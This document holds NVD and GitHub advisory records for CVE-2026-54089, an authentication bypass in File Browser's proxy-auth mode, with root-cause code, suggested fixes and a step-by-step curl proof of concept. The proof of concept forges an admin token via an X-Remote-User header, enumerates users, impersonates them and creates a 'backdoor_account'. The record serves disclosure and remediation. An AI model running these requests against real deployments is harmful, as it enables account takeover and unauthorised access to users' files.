{
  "affected": [
    {
      "affectedData": [
        {
          "product": "filebrowser",
          "vendor": "filebrowser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.0-rc.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Starting with 2.0.0-rc.1, when FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization. This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before."
    }
  ],
  "id": "CVE-2026-54089",
  "lastModified": "2026-06-25T19:58:30.847",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54089",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-25T18:33:12.379285Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-25T19:16:40.827",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        },
        {
          "lang": "en",
          "value": "CWE-290"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc.1"
            },
            {
              "last_affected": "2.63.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:27:13Z",
    "nvd_published_at": "2026-06-25T19:16:40Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nWhen FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization.\n\n**This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.**\n\n## Severity\n\n**HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\n## Affected Component\n\n- **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28\n- **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing)\n- **Affected versions:** All versions supporting `auth.method=proxy`\n\n## Prerequisite: Proxy Auth Must Be Enabled\n\nThis vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:\n\n- **nginx** + Authelia / Authentik\n- **Traefik** + OAuth2 Proxy\n- **Caddy** + forward_auth\n- **Apache** + mod_auth_ldap\n\nIn these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user.\n\n| Deployment Scenario | Exploitable? |\n|---|---|\n| Default install (`auth.method=json`) | **No** \u2014 JSON auth uses password verification |\n| `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly |\n| `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** |\n\nThe third scenario is common because:\n- Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`)\n- Administrators expose the port for debugging, monitoring, or health checks\n- Cloud deployments may have misconfigured security groups or load balancers\n- Internal networks often lack strict micro-segmentation\n\nThe core issue is that the **code itself has zero defensive checks** \u2014 no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.\n\n## Root Cause\n\nThe `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user\u0027s identity. There are **three distinct problems** in this code:\n\n### Problem 1: No Origin Validation\n\nThe function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:**\n\n```go\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n    username := r.Header.Get(a.Header)  // \u003c-- reads attacker-controlled header, no origin check\n    user, err := usr.Get(srv.Root, username)\n    if errors.Is(err, fberrors.ErrNotExist) {\n        return a.createUser(usr, setting, srv, username)\n    }\n    return user, err  // \u003c-- returns the user object, no password verification\n}\n```\n\nThere is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.\n\n### Problem 2: No Password Verification\n\nUnlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user:\n\n**File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:**\n\n```go\nfunc loginHandler(tokenExpireTime time.Duration) handleFunc {\n    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n        auther, err := d.store.Auth.Get(d.settings.AuthMethod)\n        // ...\n        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)\n        // No additional verification \u2014 if auther.Auth() returns a user, a JWT is minted\n        return printToken(w, r, d, user, tokenExpireTime)  // \u003c-- signs and returns JWT\n    }\n}\n```\n\n### Problem 3: Automatic User Creation\n\nIf the username in the header doesn\u0027t exist in the database, `createUser()` is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 30-63:**\n\n```go\nfunc (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {\n    pwd, err := users.RandomPwd(randomPasswordLength)\n    // ...\n    user := \u0026users.User{\n        Username:     username,       // \u003c-- attacker-controlled\n        Password:     hashedRandomPassword,\n        LockPassword: true,\n    }\n    setting.Defaults.Apply(user)      // \u003c-- inherits default permissions (may include execute, create, etc.)\n    // ...\n    err = usr.Save(user)              // \u003c-- persisted to database\n    return user, nil\n}\n```\n\nThis auto-creation has no opt-in flag \u2014 it is always active when proxy auth is enabled.\n\n### Complete Attack Flow\n\n```\nAttacker sends:   POST /api/login  +  Header: X-Remote-User: admin\n                                         |\nloginHandler()                           |\n  |-\u003e d.store.Auth.Get(\"proxy\")         |\n  |-\u003e auther.Auth(r, ...)               |\n        |-\u003e ProxyAuth.Auth()             |\n              |-\u003e r.Header.Get(\"X-Remote-User\")  -\u003e  \"admin\"     (attacker-controlled)\n              |-\u003e usr.Get(root, \"admin\")          -\u003e  admin user  (found in DB)\n              |-\u003e return user, nil                -\u003e  no password check\n  |-\u003e printToken(w, r, d, user, ...)    |\n        |-\u003e jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})\n        |-\u003e token.SignedString(key)     -\u003e  valid admin JWT returned to attacker\n```\n\n## Proof of Concept\n\nHere is Log testing using Low Privileges Account attacker, get forbidden\nLogin as low priv user then get the auth token `\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"`\n\n```\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"\n403 Forbidden\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: admin\")\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: $FORGED_TOKEN\" | python3 -m json.tool\n{\n    \"signup\": false,\n    \"hideLoginButton\": true,\n    \"createUserDir\": false,\n    \"minimumPasswordLength\": 12,\n    \"userHomeBasePath\": \"/users\",\n    \"defaults\": {\n        \"scope\": \".\",\n        \"locale\": \"en\",\n        \"viewMode\": \"mosaic\",\n        \"singleClick\": false,\n        \"redirectAfterCopyMove\": true,\n        \"sorting\": {\n            \"by\": \"\",\n            \"asc\": false\n        },\n        \"perm\": {\n            \"admin\": false,\n            \"execute\": true,\n            \"create\": true,\n            \"rename\": true,\n            \"modify\": true,\n            \"delete\": true,\n            \"share\": true,\n            \"download\": true\n        },\n        \"commands\": [],\n        \"hideDotfiles\": false,\n        \"dateFormat\": false,\n        \"aceEditorTheme\": \"\"\n    },\n    \"authMethod\": \"proxy\",\n    \"rules\": [],\n    \"branding\": {\n        \"name\": \"\",\n        \"disableExternal\": false,\n        \"disableUsedPercentage\": false,\n        \"files\": \"\",\n        \"theme\": \"\",\n        \"color\": \"\"\n    },\n    \"tus\": {\n        \"chunkSize\": 10485760,\n        \"retryCount\": 5\n    },\n    \"shell\": [\n        \"/bin/sh\",\n        \"-c\"\n    ],\n    \"commands\": {\n        \"after_copy\": [],\n        \"after_delete\": [],\n        \"after_rename\": [],\n        \"after_save\": [],\n        \"after_upload\": [],\n        \"before_copy\": [],\n        \"before_delete\": [],\n        \"before_rename\": [],\n        \"before_save\": [],\n        \"before_upload\": []\n    }\n}\nroot@LAPTOP-VUMRCEKO:~#\n```\n\u003cimg width=\"1487\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74\" /\u003e\n\n\n### Prerequisites\n\n- FileBrowser with proxy auth enabled:\n  ```bash\n  filebrowser config set --auth.method=proxy --auth.header=X-Remote-User\n  ```\n- Server is reachable directly (not exclusively behind the reverse proxy)\n\n### Step 1: Confirm attacker (non-admin) is blocked\n\n```bash\n# Using a legitimate non-admin JWT token:\ncurl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: \u003cATTACKER_JWT_TOKEN\u003e\"\n```\n\n**Result:** `403 Forbidden` \u2014 non-admin users cannot access `/api/settings`\n\n### Step 2: Forge admin identity \u2014 no credentials needed\n\n```bash\n# Just one header, no password:\nFORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: admin\")\n\necho \"$FORGED_TOKEN\"\n# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)\n```\n\n**Result:** Valid JWT token returned for admin user (ID: 1, `perm.admin: true`)\n\n### Step 3: Access admin-only endpoints with forged token\n\n```bash\n# Read full server configuration (admin-only):\ncurl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** `200 OK` - complete server settings returned:\n\n```json\n{\n    \"authMethod\": \"proxy\",\n    \"shell\": [\"/bin/sh\", \"-c\"],\n    \"signup\": false,\n    \"defaults\": { \"perm\": { \"admin\": false, \"execute\": true, ... } },\n    ...\n}\n```\n\n### Step 4: Enumerate all user accounts\n\n```bash\ncurl -s http://localhost:8085/api/users \\\n  -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** All user accounts with full details (usernames, permissions, scopes, commands)\n\n### Step 5: Impersonate any other user\n\n```bash\n# Impersonate \"testuser\" \u2014 access their files without knowing their password:\nVICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: testuser\")\n\ncurl -s http://localhost:8085/api/resources/ \\\n  -H \"X-Auth: $VICTIM_TOKEN\"\n```\n\n**Result:** Full file listing of testuser\u0027s scope\n\n### Step 6: Auto-create a new user account\n\n```bash\n# This username doesn\u0027t exist \u2014 server creates it automatically:\nNEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: backdoor_account\")\n```\n\n**Result:** New user `backdoor_account` created in the database with default permissions, JWT returned\n\n## Validated Results\n\nTested against `filebrowser/filebrowser:latest` Docker image on 2026-03-09:\n\n| Test | Result |\n|------|--------|\n| Attacker token (non-admin) -\u003e `GET /api/settings` | **`403 Forbidden`** (blocked) |\n| Forged header `X-Remote-User: admin` -\u003e `POST /api/login` | **`200 OK`** \u2014 valid admin JWT (608 bytes) |\n| Forged admin token -\u003e `GET /api/settings` | **`200 OK`** \u2014 full server config returned |\n| Forged admin token -\u003e `GET /api/users` | **`200 OK`** \u2014 all user accounts listed |\n| Forged header `X-Remote-User: testuser` | **`200 OK`** \u2014 testuser JWT, files accessible |\n| Forged header `X-Remote-User: nonexistent_user` | **`200 OK`** \u2014 new user auto-created, JWT returned |\n\n## Impact\n\nAn unauthenticated attacker who can reach the FileBrowser instance directly can:\n\n1. **Full admin takeover** \u2014 impersonate the admin user and gain complete control\n2. **Read all server settings** \u2014 shell configuration, permissions, branding, rules\n3. **Enumerate and impersonate all users** \u2014 access every user\u0027s files without credentials\n4. **Create unlimited backdoor accounts** \u2014 auto-creation generates persistent accounts\n5. **Modify server configuration** \u2014 enable command execution, change shell, alter rules\n6. **Chain with other vulnerabilities** \u2014 gain admin access -\u003e enable shell mode -\u003e achieve RCE\n\n**Attack cost:** Zero credentials. One HTTP header.\n\n## Suggested Remediation\n\n### Fix 1: Add trusted proxy IP validation (recommended)\n\n```go\ntype ProxyAuth struct {\n    Header         string   `json:\"header\"`\n    TrustedProxies []string `json:\"trustedProxies\"` // New: list of trusted proxy IPs/CIDRs\n}\n\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n    // Verify request originates from a trusted reverse proxy\n    clientIP := realip.FromRequest(r)\n    if !a.isTrustedProxy(clientIP) {\n        return nil, fmt.Errorf(\"proxy auth: request from untrusted source %s\", clientIP)\n    }\n\n    username := r.Header.Get(a.Header)\n    if username == \"\" {\n        return nil, os.ErrPermission\n    }\n\n    user, err := usr.Get(srv.Root, username)\n    if errors.Is(err, fberrors.ErrNotExist) {\n        if a.AutoCreateUsers {  // Make opt-in\n            return a.createUser(usr, setting, srv, username)\n        }\n        return nil, os.ErrPermission\n    }\n    return user, err\n}\n```\n\n### Fix 2: Make auto-user-creation opt-in\n\nAdd a configuration flag `auth.proxy.createUsers` (default: `false`) so administrators must explicitly enable automatic account creation.\n\n### Fix 3: Documentation warning\n\nClearly document that when using proxy auth:\n- FileBrowser **MUST NOT** be directly accessible from untrusted networks\n- Bind to `127.0.0.1` or use firewall rules to ensure only the reverse proxy can reach it\n- The reverse proxy **MUST** strip/overwrite the configured header from client requests\n\n## References\n\n- **Source file:** https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go\n- **Login handler:** https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137\n- **CWE-287:** https://cwe.mitre.org/data/definitions/287.html\n- **CWE-290:** https://cwe.mitre.org/data/definitions/290.html\n- **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html",
  "id": "GHSA-xqp3-jq6g-x3qm",
  "modified": "2026-07-10T19:27:13Z",
  "published": "2026-07-10T19:27:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54089"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser: Authentication Bypass via Proxy Auth Header Forgery"
}